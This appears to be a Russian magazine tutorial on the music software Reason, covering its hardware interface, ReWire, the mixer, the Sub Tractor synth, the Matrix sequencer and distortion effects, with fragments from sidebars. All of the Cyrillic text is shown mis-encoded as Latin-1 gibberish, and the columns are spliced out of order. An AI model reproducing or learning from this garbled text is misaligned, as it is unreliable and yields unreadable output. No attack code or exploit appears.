õî, äàâàé ïîñìîòðèì, ÷òî âñå ýòî çíà÷èò.

[the roots] Íàøà ïëàñòèêîâàÿ ñòîéêà íà÷èíàåò-
ñÿ ñ òàê íàçûâàåìîãî hardware interface. Åñëè â
íàñòðîéêàõ General â êà÷åñòâå ïàðàìåòðà default
song óêàçàòü çíà÷åíèå empty rack, òî âñÿêèé ðàç,
çàïóñêàÿ ïðîãðàììó èëè âûáèðàÿ â ìåíþ «Ôàéë»
ïóíêò new song, òû ïîëó÷àåøü ïóñòóþ ñòîéêó è
hardware interface. Ýòî óñòðîéñòâî âñåãäà ïîÿâëÿ-
åòñÿ â ñàìîì âåðõó, îòëè÷àåòñÿ îñîáîé âàæ-
íîñòüþ è ôóíêöèîíàëüíîñòüþ. Èìåííî îíî îñó-
ùåñòâëÿåò âçàèìîñâÿçü âíóòðåííèõ êîìïîíåíòîâ
ïðîãðàììû ñ âíåøíèìè ïî îòíîøåíèþ ê Reason
óñòðîéñòâàìè, êîòîðûå, êñòàòè ãîâîðÿ, ìîãóò
áûòü êàê ïðîãðàììíûìè, òàê è àïïàðàòíûìè.
Ôóíêöèÿ íîìåð îäèí � âûâîä çâóêà � îñóùåñ-
òâëÿåòñÿ áëàãîäàðÿ íèæíåé ÷àñòè óñòðîéñòâà, òàê
è íàçâàííîé Propellerhead'àìè � audio out. Çâó-
êîâûå ïîòîêè ìîãóò ïåðåäàâàòüñÿ ëèáî íà çâóêî-
âóþ êàðòó, ëèáî â ñîîòâåòñòâóþùèå êàíàëû äðó-
ãîãî âèðòóàëüíîãî óñòðîéñòâà, ïîäêëþ÷àåìîãî
ïîñðåäñòâîì ReWire � ïðîòîêîëà ñèíõðîíèçàöèè
è ïåðåäà÷è öèôðîâûõ àóäèî-äàííûõ, ìåæäó äâó-
ìÿ è áîëåå óñòðîéñòâàìè.

020
ÅÑËÈ ÒÛ ÊÎÃÄÀ-ÍÈÁÓÄÜ ÁÛÂÀË Â ÀÓÄÈÎ-
ÑÒÓÄÈÈ ÈËÈ ÂÈÄÅË ÔÎÒÎÃÐÀÔÈÈ ÎÒÒÓÄÀ,
ÒÎ, ÑÊÎÐÅÅ ÂÑÅÃÎ, ÏÐÈÌÅÒÈË ÑÐÅÄÈ ÐÀÇ-
ÂÀËÎÂ ÇÂÓÊÎÂÎÉ ÀÏÏÀÐÀÒÓÐÛ ÏÀÐÓ ÂÅÐ-
ÒÈÊÀËÜÍÛÕ ÌÅÒÀËËÈ×ÅÑÊÈÕ ÑÒÎÅÊ,
ÑÂÅÐÕÓ ÄÎ ÍÈÇÓ ÍÀÁÈÒÛÕ ÍÅ ÌÅÍÅÅ ÆÅ-
ËÅÇÍÛÌÈ ÓÑÒÐÎÉÑÒÂÀÌÈ. ÐÀÇÍÎÖÂÅÒÍÛÅ
ÈÍÄÈÊÀÒÎÐÛ È ÌÈÃÀÞÙÈÅ ËÀÌÏÎ×ÊÈ,
ÍÀÕÎÄßÙÈÅÑß ÍÀ ÏÅÐÅÄÍÈÕ ÏÀÍÅËßÕ,
ÒÀÊ È ÏÐÈÒßÃÈÂÀÞÒ ÒÂÎÉ ÂÇÎÐ, À ÏËÎÒ-
ÍÛÅ ÇÂÓÊÈ ÖÈÊËÈ×ÅÑÊÎÉ ÌÓÇÛÊÈ ÍÅ ÄÀ-
ÞÒ ÅÌÓ ÏÐÅÊÐÀÒÈÒÜ ÂÎÑÏÐÈÍÈÌÀÒÜ ÏÐÎ-
ÈÑÕÎÄßÙÅÅ ÂÎÊÐÓÃ. Ñ ÊÀÆÄÎÉ ÑÅÊÓÍ-
ÄÎÉ ÒÛ ÂÑÅ ÃËÓÁÆÅ È ÃËÓÁÆÅ ÏÎÃÐÓÆÀ-
ÅØÜÑß Â ÝÒÎÒ ÎÊÅÀÍ ÌÅÐÖÀÞÙÈÕ ÎÃÍÅÉ
È ÝËÅÊÒÐÎÍÍÛÕ ÇÂÓÊÎÂÛÕ ÎÁÐÀÇÎÂ ÒÎ
ÏÎßÂËßÞÙÈÕÑß, ÒÎ ÈÑ×ÅÇÀÞÙÈÕ ÂÌÅÑ-
ÒÅ ÑÎ ÂÑÏÛØÊÀÌÈ ÑÂÅÒÎÈÇËÓ×ÀÞÙÈÕ
ÄÈÎÄÎÂ | LES-NEEK (n0name@comtv.ru, 68396157) 
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tranceôîðìèðóé

[ñàìîå ëþáîïûòíîå êðîåòñÿ ñçàäè!] Åñëè íàæàòü êëàâèøó Tab,
ïîÿâèòñÿ çàäíÿÿ ïàíåëü ñòîéêè óñòðîéñòâ. Ýòà äåòàëü ïî-íàñòîÿùåìó
êðàñèâà è âåñüìà îðèãèíàëüíà, èñïîëüçóåòñÿ òîáîé íà ïðîòÿæåíèè
âñåãî âðåìåíè ðàáîòû ñ ïðîãðàììîé. Çäåñü îñóùåñòâëÿåòñÿ êîììóòà-
öèÿ âñåõ âèðòóàëüíûõ óñòðîéñòâ, ñòàíîâÿòñÿ äîñòóïíûìè ãíåçäà äëÿ
ïîäêëþ÷åíèÿ ñîåäèíèòåëüíûõ ïðîâîäîâ. Îáû÷íî ïðîöåññ òâîð÷åñòâà
íà÷èíàåòñÿ ñ ïåðâûõ äâóõ ãíåçä hardware interface, ñêîðåå âñåãî, ïðåä-
íàçíà÷åííûõ èìåííî äëÿ òâîåé çâóêîâîé êàðòû. Ìîæåøü ñìåëî ïîäê-
ëþ÷àòü ñþäà ìèêøåð. Îñòàëüíûå ìîãóò òåáå ïîíàäîáèòüñÿ ïðè èñïîëü-
çîâàíèè ìíîãîêàíàëüíûõ êàðò èëè òåõíîëîãèè ReWire. Âñåãî ñþäà
ìîæíî âîòêíóòü äî 64 òàêèõ ïðîâîäîâ, ïî ñòåðåî-ïàðå îò êàæäîãî óñò-
ðîéñòâà, îäíàêî íà ïðàêòèêå îáû÷íî õâàòàåò âñåãî äâóõ. Åñëè çàïóñ-
òèòü Reason ÷åðåç ReWire äëÿ ñîåäèíåíèÿ, íàïðèìåð, ñ Cubase SX èëè
Ableton Live, òî äëÿ ïîâûøåíèÿ êà÷åñòâà çâóêà ñòàíîâèòñÿ öåëåñîîá-
ðàçíûì ïåðåäàâàòü àóäèîäàííûå ïî áîëüøåìó ÷èñëó êàíàëîâ, ïîäêëþ-
÷àÿ audio devices íåïîñðåäñòâåííî â ãíåçäà audio in íà çàäíåé ïàíåëè
hardware interface. Òàêèì îáðàçîì, òû ñìîæåøü âåøàòü íà êàæäûé èç
êàíàëîâ master-óñòðîéñòâà ýôôåêòû îáðàáîòêè è/èëè VST-ìîäóëè, äà-
þùèå áîëåå âûñîêîå êà÷åñòâî çâóêà, ÷åì âíóòðåííèå óñòðîéñòâà
Reason'a, óïëîùàþùèå è áåç òîãî ïëàñòìàññîâûé çâóê. Ïðåäñòàâü íà
ìãíîâåíèå ãîðÿùóþ 2-õ ëèòðîâóþ áóòûëêó èç ïîä êîêà-êîëû, òîííû ïå-
íîïëàñòà, åäêèé ÷åðíûé äûì ðåæåò ãëàçà, ïîïàäàÿ òåáå â íîñ, ïðîíè-
êàåò â ëåãêèå è, îêàçàâøèñü â êðîâè, ïîðàæàåò êëåòêè ìîçãà.
Ïïåðâàÿ, âòîðàÿ� Ëó÷øå äîëãî îá ýòîì íå äóìàé, à òî ïðîïóñòèøü âñå
âåñåëüå. Ôóíêöèÿ íîìåð äâà reason hardware interface'a � ïðèåì MIDI-êî-
ìàíä îò âíåøíèõ èñòî÷íèêîâ. Òî åñòü ïîñðåäñòâîì midi in device (âåðõíÿÿ
÷àñòü) òû ìîæåøü óïðàâëÿòü óñòðîéñòâàìè Reason ïðè ïîìîùè, íàïðè-
ìåð, MIDI-êîíòðîëëåðîâ èëè MIDI-êëàâèàòóðû. Âñåãî â òâîåì ðàñïîðÿæå-
íèè èìåþòñÿ 16 ìèäèøíûõ êàíàëîâ, íà êàæäûé èç êîòîðûõ ìîæíî ïîâå-
ñèòü óïðàâëÿåìîå óñòðîéñòâî. Óïðàâëÿþùèõ óñòðîéñòâ òàêæå ìîæåò áûòü
íåñêîëüêî, à èìåííî � ÷åòûðå. Ýòè ïàðàìåòðû óñòàíàâëèâàþòñÿ â íàñò-
ðîéêàõ â ìåíþ Advanced midi.

[ìèêøåð â Reason íîñèò íàçâàíèå ReMix] Äîáàâëÿåòñÿ â ñòîéêó ïó-
òåì íàæàòèÿ ïðàâîé êíîïêè ìûøè, èìååò 14 ñòåðåî-âõîäîâ, 2 ìîíî-âûõî-
äà, à òàêæå 4 êàíàëà äëÿ ïîñûëà ýôôåêòîâ. Îáû÷íî ìèêøåð âåøàþò íà
êàíàëû 1 è 2 reason hardware interface, à â âåðñèè 3.0 ñóùåñòâóþò ñïåöè-
àëüíûå óñòðîéñòâà äëÿ ìàñòåðèíãà, òàê ÷òî ìîæíî ïðîïóñêàòü ÷åðåç íèõ
âûõîäíîé ñèãíàë. Äëÿ êàæäîãî èç 14 êàíàëîâ ïðåäóñìîòðåíû ðåãóëÿòîðû
òàêèõ ïàðàìåòðîâ, êàê ìîùíîñòü çâóêà, ãëóáèíà êàæäîãî èç 4-õ ýôôåê-
òîâ, ñòåðåî ïàíîðàìà, êîððåêöèÿ àìïëèòóäíî-÷àñòîòíîé õàðàêòåðèñòèêè
ñâåðõó è ñíèçó, êëàâèøè solo è mute. Ñçàäè òàêæå ïðèñóòñòâóåò ñòåðåî-



âõîä äëÿ ñîçäàíèÿ öåïî÷êè ìèêøåðîâ è âõîäû óïðàâëåíèÿ
óðîâíåì è âûñîòîé òîíà êàê áû ïî CV (control voltage, ïî ýòî-
ìó èíòåðôåéñó ðóëèëèñü ñòàðûå æåëåçêè, êîãäà MIDI åùå íå
áûëî, à íà Sub Tractor'å íåêîòîðûå ëþäè ìîãóò íàòêíóòüñÿ íà
ãîä ñâîåãî ðîæäåíèÿ :)).

[play it. Synthesize it] Âíèçó äèàëîãîâîãî îêíà òðýêà ðàñïî-
ëîæåí reason transport � ïàíåëü óïðàâëåíèÿ âîñïðîèçâåäå-
íèåì è ïàðàìåòðàìè. Ïàíåëü íà÷èíàåòñÿ ñ èíäèêàòîðîâ èñ-
ïîëüçîâàíèÿ ïðîöåññîðà è êëèïïèðîâàíèÿ âûõîäíîãî ñèã-
íàëà, ñèãíàëèçèðóþùèõ î òåõ èëè èíûõ ïåðåãðóçêàõ. Åñëè
õîòÿ áû îäèí èõ íèõ çàãîðàåòñÿ êðàñíûì öâåòîì � íàäî
÷òî-òî äåëàòü. Ìîæíî îïòèìèçèðîâàòü òðåê, óäàëèâ ÷àñòü
óñòðîéñòâ, òàêèì îáðàçîì óìåíüøèòü çàãðóçêó ïðîöåññîðà
èëè ïåðåéòè íà èñïîëüçîâàíèå îáùèõ ýôôåêòîâ ïîñûëîâ
ìèêøåðà, âìåñòî äëèííûõ öåïî÷åê ïîñëåäîâàòåëüíî ñîåäè-
íåííûõ óñòðîéñòâ. Ïðè èíäèêàöèè audio out clipping, íåîáõî-
äèìî óìåíüøàòü âûõîäíîé óðîâåíü ñèãíàëà äî òåõ ïîð, ïî-
êà ñèãíàëèçàöèÿ íå èñ÷åçíåò, ëèáî ñòàíåò íåñóùåñòâåííîé,
èëè îãðàíè÷èâàòü/ñæèìàòü äèíàìè÷åñêèé äèàïàçîí ñèãíà-
ëà, óìåíüøàÿ, òàêèì îáðàçîì, ïîòåðè ïî ìîùíîñòè. Ïîìè-
ìî âñåãî ïðî÷åãî, òðàíñïîðòíàÿ ïàíåëü ñîäåðæèò áëîê MIDI-
ñèíõðîíèçàöèè è ìåòðîíîì. Çäåñü çàäàþòñÿ ñêîðîñòü è ðàç-
ìåðíîñòü ïðîèçâåäåíèÿ. Êñòàòè, ÷òîáû ðóáèòü ãîà-òðàíñ,
õîðîøî ïîäõîäÿò ñêîðîñòè îò 130�145 óäàðîâ â ìèíóòó, à

åãî ðàçìåðíîñòü ñîñòàâëÿåò 4/4.
Çàéìèñü ýòèì. Ñîçäàé ìèêøåð è
ïîäêëþ÷è ê íåìó óñòðîéñòâî Sub
Tractor, ïðåäñòàâëÿþùåå ñîáîé
ñèíòåçàòîð çâóêà, èñïîëüçóþùèé
ñóáòðàêòèâíûé ìåòîä ñèíòåçà. ×òî-
áû çàñòàâèòü åãî ïðîèçâîäèòü íà
ñâåò ðàçëè÷íûå çâóêè, ìîæíî èñ-
ïîëüçîâàòü ãîòîâûå ôàáðè÷íûå
ïàò÷è, êîòîðûå, êàê òû ïîíÿë, åñòü
óæå ó âñåõ. Ýòà äðÿíü âìåñòå ñ
ãðóäîé íåíóæíûõ ñýìïëîâ ñîäåð-

ñòîéêà ñçàäè

| ÍÍÅÌÍÎÃÎ ÎÎ RREWIRE ||
Ïðîãðàììíûå ïðîäóêòû, ñîåäèíåííûå ïî ýòîìó ïðîòîêîëó, áûâàþò äâóõ òèïîâ � óïðàâëÿþùè-
ìè è óïðàâëÿåìûìè (master è slave devices), ïðè÷åì óïðàâëÿåìûõ óñòðîéñòâ ìîæåò áûòü íåñ-
êîëüêî. Òàê, íàïðèìåð, ñ öåëüþ âûïîëíåíèÿ ïðîöåäóð ìàñòåðèíãà èëè ñîçäàíèÿ âèäåî art
ìóëüòèìåäèà performances, ê Adobe Audition ìîæíî ïîäêëþ÷àòü îäíîâðåìåííî Ableton Live 
è Reason, êîòîðûé ïðàêòè÷åñêè âî âñåõ êîìáèíàöèÿõ âûñòóïàåò â êà÷åñòâå slave. Èñêëþ÷åíè-
åì ñëóæèò ëèøü ñëó÷àé åãî ñîåäèíåíèÿ ñ ïðîãðàììîé ReBirth � ýìóëÿòîðîì äâóõ ëåãåíäàð-
íûõ ñèíòåçàòîðîâ TB-303 è äðàì-ìàøèí TR-808, 909.

hardware interface
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æèòñÿ â òàê íàçûâàåìûõ refill-àðõèâàõ è ïîñòàâ-
ëÿåòñÿ âìåñòå ñ ïðîãðàììîé â áîëüøîì êîëè-
÷åñòâå. Ïàò÷è ìîæíî çàãðóæàòü è ñîõðàíÿòü �
îíè áóäóò ïîëåçíû òåáå äëÿ îöåíêè âîçìîæ-
íîñòåé óñòðîéñòâà, à ñåé÷àñ òû ìîæåøü ñîç-
äàâàòü çâóêè ñàì. Âòîðîé âàðèàíò òàèò â ñåáå î÷åíü âàæ-
íîå äîñòîèíñòâî: òû ìîæåøü ñèíòåçèðîâàòü òàêîé çâóê,
êîòîðûé çâó÷èò ó òåáÿ â ãîëîâå � òîò, êîòîðûé õî÷åøü
èìåííî òû. Íàïðèìåð, åñëè íóæíî ñûãðàòü êèñëîòíóþ ïàð-
òèþ, èñïîëüçóåìóþ â ïðîèçâåäåíèè â êà÷åñòâå âåäóùåãî
èíñòðóìåíòà, ìîæíî ïðèìåíèòü ïèëîîáðàçíûå ôîðìû
âîëí â îñöèëëÿòîðàõ 1 è 2, ðàçíåñåííûõ îòíîñèòåëüíî äðóã
äðóãà íà îêòàâó èëè íåñêîëüêî ñîòûõ äîëåé ïîëóòîíà äëÿ
ïîëó÷åíèÿ áîëåå íàñûùåííîãî çâó÷àíèÿ. Åñëè âêëþ÷èòü
íèçêî÷àñòîòíûé ãåíåðàòîð (low frequency oscillator) LFO 1,
íàõîäÿùèéñÿ â òðàêòå ïðåîáðàçîâàíèÿ ñèãíàëà óñòðîé-
ñòâà, ìîæíî äîáèòüñÿ ïåðèîäè÷åñêîãî èçìåíåíèÿ îäíîãî
èç ïàðàìåòðîâ ñèíòåçèðóåìîãî ñèãíàëà. Òàêîâûì ìîæåò
ÿâëÿòüñÿ, ê ïðèìåðó, ÷àñòîòà ñðåçà ðåçîíàíñíîãî ôèëüò-
ðà, ïëàâàþùàÿ òî âëåâî, òî âïðàâî âäîëü îñè ÷àñòîò. Ðå-
ãóëÿòîðàìè rate and amount çàäàþòñÿ ñêîðîñòü è ãëóáèíà
èçìåíåíèÿ âûáðàííîãî ñïðàâà ïàðàìåòðà ïî âûáðàííîìó
ñëåâà âîëíîâîìó çàêîíó. Íàïðèìåð, òû ìîæåøü ïîëó÷èòü
íåïëîõîé ýôôåêò, åñëè áóäåøü ìåíÿòü çíà÷åíèå f. freq
ôèëüòðà filter 1, ðàáîòàþùåãî â ðåæèìå LP. Ýòî îçíà÷àåò,
÷òî ÷àñòîòà ñðåçà áóäåò êà÷àòüñÿ â ÷àñòîòíîé îáëàñòè ïðè
âûáðàííîì çíà÷åíèè ðåçîíàíñà ôèëüòðà. Ýòî îäèí èç ñà-
ìûõ ïîïóëÿðíûõ ýôôåêòîâ â ýëåêòðîííîé ìóçûêå. Êñòàòè,
ðåçîíàíñ, êàê è ïî÷òè ëþáîé äðóãîé ïàðàìåòð, òû òàêæå
ìîæåøü èçìåíÿòü âî âðåìåíè, ïðàâäà, óæå ïðè ïîìîùè
àâòîìàòèçàöèè. Îñöèëëÿòîð LFO 2 ìîæíî íàñòðîèòü íà
âûïîëíåíèå ïðîöåäóðû ïëàâàíèÿ ôàçû ìåæäó âîëíàìè
îñöèëëÿòîðîâ, ýòî íå ìåíåå ðàñïðîñòðàíåííûé ïðèåì.
Êðîìå òîãî, â Sub Tractor'e, êàê, âïðî÷åì, è âî ìíîãèõ äðó-
ãèõ óñòðîéñòâàõ, ïðåäóñìîòðåíû îáëàñòè äëÿ íàñòðîéêè
àìïëèòóäíîé è ÷àñòîòíîé îãèáàþùèõ ñèãíàëà ïðè ïîìîùè
÷åòûðåõ ôåéäåðîâ îò âðåìåíè àòàêè äî âðåìåíè ñïàäà.
Àíàëîãè÷íî íàñòðàèâàåòñÿ ìîäóëÿöèîííàÿ îãèáàþùàÿ.
Sub tractor, êàê è Malstrom � ïîëèôîíè÷åñêèé ñèíòåçàòîð,
õàðàêòåðèçóåìûé ìàêñèìàëüíûì (99) ÷èñëîì îäíîâðåìåí-
íî èãðàþùèõ ãîëîñîâ, êîòîðîå çàäàåòñÿ ñòðåëêàìè èíäè-
êàòîðà polyphony. Êñòàòè, â îñíîâó ñèíòåçàòîðà Malstrom
ïîëîæåí ãðàíóëèðóþùèé ìåòîä ñèíòåçà, ñóòü êîòîðîãî
çàêëþ÷àåòñÿ â èñïîëüçîâàíèè ãîòîâûõ ôðàãìåíòîâ çâóêî-
çàïèñè âìåñòî ãåíåðàòîðîâ ïðîñòåéøèõ âîëí â ñóáòðàê-
òèâíîì ìåòîäå, à â îñòàëüíîì, ó íèõ ìíîãî îáùåãî. Ê ëþ-
áîìó èç íèõ òû ìîæåøü ïîäêëþ÷èòü ìàòðèöó ïî CV.

[the Matrix has u] Ñåêâåíñîð Matrix ïðåäñòàâëÿåò ñîáîé óïðàâëÿþ-
ùåå óñòðîéñòâî. Ñ åãî ïîìîùüþ ìîæíî ñîñòàâëÿòü íåïðîäîëæèòåëü-
íûå ìóçûêàëüíûå ôðàçû áåç ïîëèôîíèè, öèêëè÷åñêè âîñïðîèçâîäè-
ìûå óïðàâëÿåìûì óñòðîéñòâîì, íàïðèìåð, ñàìïëåðîì èëè ñèíòåçàòî-
ðîì. Ìàêñèìàëüíàÿ äëèíà ñåêâåíöèè ñîñòàâëÿåò 32 øàãà, òî åñòü 2
òàêòà, åñëè ñåêâåíöèÿ äâèæåòñÿ íà íîðìàëüíîé ñêîðîñòè, è 1 øàã ðà-
âåí 1/16 òàêòà. Òàêèå ïîñëåäîâàòåëüíîñòè øàãîâ íàçûâàþòñÿ ïàòòåð-
íàìè, êîòîðûå çàïèñûâàþòñÿ ïî 8 â êàæäûé èç 4 áàíêîâ. Íà êàæäîì
øàãå ïàòòåðíà ìàòðèöà ñïîñîáíà èçâëåêàòü çâóê çàäàííîé âûñîòû èç

óïðàâëÿåìîãî óñòðîéñòâà, ïî äëèòåëüíîñòè ðàâíûé ïðîäîëæèòåëüíîñ-
òè çâó÷àíèÿ îäíîãî øàãà, ëèáî åãî ïîëîâèíû. Åñòü è âòîðîé ðåæèì ðà-
áîòû ñåêâåíñîðà, ãäå âåðòèêàëüíûå ñòîëáèêè îáðàçóþò êðèâóþ, êîòî-
ðàÿ ìîæåò ñëóæèòü çàêîíîì èçìåíåíèÿ òîãî èëè èíîãî ïàðàìåòðà óï-
ðàâëÿåìîãî óñòðîéñòâà. Äëÿ ýòîãî íåîáõîäèìî ñîåäèíèòü ïðîâîäîì
âûõîä ìàòðèöû curve CV ñ óïðàâëÿþùèì âõîäîì, íàïðèìåð, ñ filter 1
resonance íà Sub Tractor. Åñëè êëèêíóòü ïðàâîé êíîïêîé ìûøè íà sub
tractor è ñîçäàòü ìàòðèöó, îíà àâòîìàòè÷åñêè ïðèâÿæåòñÿ ê íåìó, è íå
áóäåò íåîáõîäèìîñòè îñóùåñòâëÿòü êîììóòàöèþ ñîåäèíèòåëüíûõ êà-
áåëåé íà çàäíåé ïàíåëè óñòðîéñòâ. Îäíàêî êîììóòàöèÿ ïðîèçîéäåò
ñïîñîáîì ïî óìîë÷àíèþ, à ðàçëè÷íûõ åå êîìáèíàöèé ìîæíî ïðèäó-
ìàòü îòíþäü íåìàëî. Ãîà-òðàíñ ìåëîäèè î÷åíü óäîáíî äåëàòü â ìàòðè-
öå, äàæå íå ïðèáåãàÿ ê ïîìîùè âñòðîåííîãî â ñåêâåíñîð Reason'a ïè-
àíî ðîëà. À ôóíêöèÿ randomize äåëàåò ýòî óñòðîéñòâî ïðîñòî íåçàìå-
íèìûì ïðè ñîçäàíèè ìîäíîãî õàóñà èëè ìèíèìàë-òåõíî.

[ýôôåêòû. Òðàíñôîðìàöèÿ] À ñåé÷àñ ïî÷óâñòâóé ñåáÿ ìåãàêðó-
òûì, ïîïðîáóé ïîäêëþ÷èòü ìàòðèöó ê Sub Tractor'ó è çàïðîãðàììèðî-
âàòü â íåé ÷òî-íèáóäü. Ïðîïóñòè âñå ýòî ÷åðåç ñåðèþ èçîáðàæåííûõ
íà ðèñóíêå óñòðîéñòâ � ýôôåêòîâ ïðåîáðàçîâàíèÿ ñèãíàëà. Åñëè âñå
ñäåëàíî ïðàâèëüíî, èãðàåò íåïëîõîé, â ðàìêàõ Reason'à, çâóê � ïîçä-
ðàâëÿþ! Óñòðîéñòâî unison íå òîëüêî ðàçäâàèâàåò ìîíî-ñèãíàë, íî è
ïðèâíîñèò â çâó÷àíèå ýôôåêò detune. Åãî êâèíòýññåíöèÿ çàêëþ÷àåòñÿ
â òîì, ÷òî íà âûõîäå ïîìèìî êîëåáàíèé íà îñíîâíîé ÷àñòîòå ïðèñóò-
ñòâóþò â îáå ñòîðîíû ðàññòðîåííûå îòíîñèòåëüíî íåå ÷àñòîòíûå ñîñ-
òàâëÿþùèå, çâó÷àùèå êàê 4, 8 èëè 16 ãîëîñîâ, ïîþùèõ â óíèñîí. Âòî-
ðîé êàíàë ïîñëå unison'a, ïîìèìî âñåãî ïðî÷åãî, ïðîïóùåí ÷åðåç
phaser. Ýòî óñòðîéñòâî äåéñòâóåò ïî ïðèíöèïó ñëîæåíèÿ îñíîâíîãî
ñèãíàëà, ïîñòóïàþùåãî íà âõîä ñ íóëåâîé ôàçîé, è âòîðîãî ñèãíàëà,
òîãî æå ñàìîãî, òîëüêî ñ ïåðèîäè÷åñêè ôëóêòóèðóþùåé íà÷àëüíîé

òðàíñ-ïîðò

OK, rroll tha drums

| ××ÒÎ ÒÒÀÊÎÅ ÄÄÈÍÀÌÈ×ÅÑÊÈÉ ÄÄÈÀÏÀÇÎÍ? ||
Ïðåäåëû èçìåíåíèÿ óðîâíÿ ñèãíàëà îïðåäåëÿþò åãî äèíàìè-
÷åñêèé äèàïàçîí (ÄÄ). ÄÄ ÷èñëåííî ðàâåí ðàçíîñòè ìåæäó
ìàêñèìàëüíûì è ìèíèìàëüíûì çíà÷åíèåì öèôðîâîãî îòñ÷å-
òà, âûðàæàåòñÿ â äåöèáåëàõ. Çà÷àñòóþ, ìèíèìàëüíûì ÿâëÿ-
åòñÿ óðîâåíü òåõ èëè èíûõ øóìîâ ñèãíàëà, â òîì ÷èñëå,
êâàíòîâàíèÿ èëè ñîáñòâåííûõ øóìîâ óñòðîéñòâà. ÄÄ � îäíà
èç âàæíåéøèõ õàðàêòåðèñòèê ñèãíàëîâ è çâóêîâûõ ñèñòåì.
Òàê, íàïðèìåð, ïðîèçâîäèòåëè íåäîðîãèõ çâóêîâûõ êàðò îáå-
ùàþò òåáå ÄÄ ïîðÿäêà 95 äÁ, îäíàêî íà ïðàêòèêå îí íå ïðå-
âîñõîäèò 80. Â Ðèçîíå è äðóãèõ ïîäîáíûõ ïðîãðàììàõ ñóùå-
ñòâóþò óñòðîéñòâà, èçìåíÿþùèå ÄÄ ñèãíàëà. Òàêèå ýôôåê-
òû îáû÷íî ïðèçâàíû ñæèìàòü/ëèìèòèðîâàòü åãî, ÷òî ïðè
ïðàâèëüíîì èñïîëüçîâàíèè îêàçûâàåò îùóòèìûé ïîëîæè-
òåëüíûé ýôôåêò íà çâó÷àíèè ìóçûêàëüíîé ïàðòèè èëè ïðî-
èçâåäåíèÿ â öåëîì.[X
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ôàçîé â çàäàííîì ÷àñòîòíîì äèàïàçîíå è ñ âûáðàííîé òîáîé æå ñêî-
ðîñòüþ, êîòîðàÿ, êñòàòè, ïîääàåòñÿ ñèíõðîíèçàöèè ñ îñíîâíîé ñêî-
ðîñòüþ òðåêà ïðè ïîìîùè ñîîòâåòñòâóþùåé êíîïêè. Ïîìèìî òàêîé
âîò, ïðàêòè÷åñêè, âíåçåìíîé æåñòè, îñóùåñòâëÿåòñÿ ïðîöåññ ÷àñòîò-
íîé ìîäóëÿöèè çâóêà ñ çàäàííîé ãëóáèíîé. Î÷åíü êðàñèâûé ýôôåêò,
òàêæå ÿâëÿåòñÿ îäíèì èç íàèáîëåå ïîïóëÿðíûõ êàê â ýëåêòðîííîé, òàê
è â æèâîé ìóçûêå. 
Íó, à åñëè õî÷åøü äåëàòü íàñòîÿùåå acid-ðóáèëîâî, òåáå ïðèäåòñÿ
âîñïîëüçîâàòüñÿ SCREAM 4 � ýòî ðåàëüíàÿ æåñòü. Óñòðîéñòâî ïðåä-
íàçíà÷åíî äëÿ âíåñåíèÿ ðàçíîîáðàçíûõ èñêàæåíèé â ñòðóêòóðå çâóêà,
êîòîðîå ñðåäè íåñêîëüêèõ âîçìîæíûõ àëãîðèòìîâ ñîäåðæèò â ñåáå
ýôôåêò distortion. Íèêîìó îáúÿñíÿòü íå íàäî, âñå è òàê çíàþò, ÷òî ýòî
òàêîå. Îäíè âîëîñàòûå ïàðíè ïîäêëþ÷àþò ê íåìó ýëåêòðîãèòàðû, äðó-
ãèå ïðîïóñêàþò ÷åðåç íåãî äðàì-ðèòìû è acid-ïàðòèè, ÷åì çàéìåøüñÿ
è òû, ìîé þíûé äðóã, åñëè õî÷åøü íàñòîÿùåãî ÌßÑÀ. Óñòðîéñòâî
ñíàáæåíî ðåãóëÿòîðîì ñòåïåíè ïîâðåæäåíèÿ çâóêà è äâóìÿ ðåãóëÿòî-
ðàìè äëÿ íàñòðîéêè ðàçëè÷íûõ ñâîéñòâ êàæäîãî èç âèäîâ èñêàæåíèé
ñèãíàëà. Êðîìå âñåãî ýòîãî è òðåõïîëîñíîãî ÷àñòîòíîãî ýêâàëàéçåðà,
scream èìååò âñòðîåííûé áëîê ïîä íàçâàíèåì body, ðàáîòàþùèé ïî
èçâåñòíîìó íåêîòîðûì ëþäÿì àëãîðèòìó. Çäåñü ìîæíî óïðàâëÿòü ðå-
çîíàíñîì, ÷àñòîòîé, ïàðàìåòðîì «auto» è òèïîì body � õç. ×òî ýòî
çíà÷èò :)? Åñëè èíòåðåñíî � ñîâåòóþ ïîéòè ê ãàäàëêå ñ íîóòáóêîì èëè
íàïèñàòü ïèñüìî â Propellerhead Software. Êñòàòè, scream ñåðüåçíî
èñêàæàåò ïàíîðàìó, îäíàêî âñå æå ìîæíî èñïîëüçîâàòü åãî â ðåæèìå
tape â êà÷åñòâå êîìïðåññîðà. Ïðè damage ðàâíîì 20�30 è îòêëþ÷åí-
íîì áëîêå body òû ìîæåøü íåìíîãî ïîäíÿòü óðîâåíü ñóáúåêòèâíîãî
âîñïðèÿòèÿ ñâîåãî òðåêà â öåëîì, óñòàíîâèâ óñòðîéñòâî íà âûõîäå
ìèêøåðà. Èíîãäà áûâàåò âåñüìà ïîëåçíî òàêèì îáðàçîì êîìïðåññè-
ðîâàòü âåñü ìèêñ öåëèêîì, îñîáåííî, åñëè ïðèíèìàòü âî âíèìàíèå
íèçêîå êà÷åñòâî óñòðîéñòâà COMP-01 è ïðîöåññîðîâ äëÿ ìàñòåðèíãà.
×òîáû óñëûøàòü äèàëîã îáùåíèÿ äâóõ ïðèøåëüöåâ, ñîçäàé ïîñëå
scream â òðàêòå âåäóùåé ïàðòèè äâå ëèíèè çàäåðæêè DDL � ïî îäíîé
íà êàæäûé ñòåðåîêàíàë. 
Îñóùåñòâèâ êîììóòàöèþ, ïîçàáîòüñÿ î íàñòðîéêå ëèíèé òàê, ÷òîáû íå
áûëî êàøè â êîñìè÷åñêèõ ñèãíàëàõ, òàê êàê ýòî ìîæåò ïîìåøàòü ïàð-
íÿì ïîíèìàòü äðóã äðóãà. Ýêñïåðèìåíòèðóé ñ ìàòðèöåé è âðåìåíàìè
çàäåðæåê â øàãàõ èëè ìèëëèñåêóíäàõ, êðóòè ðó÷êè, äîáèâàéñÿ ëåãêî-

ãî è ïëîòíîãî ñàóíäà, íàñêîëüêî ýòî ïîçâîëÿ-
åò ðèçîí, ñàáòðàêòîð, ìèêøåð è ýôôåêòû.
Âåäü òû ñïîñîáåí ñäåëàòü ãîðàçäî áîëüøå,
÷åì òîëüêî ìîæåøü ïðåäñòàâèòü.

[íå ïîðà ëè ñäåëàòü áî÷êó?] ReDrum, lets
roll the drums. Îòëè÷íàÿ âåùü, ïðåäñòàâëÿåò
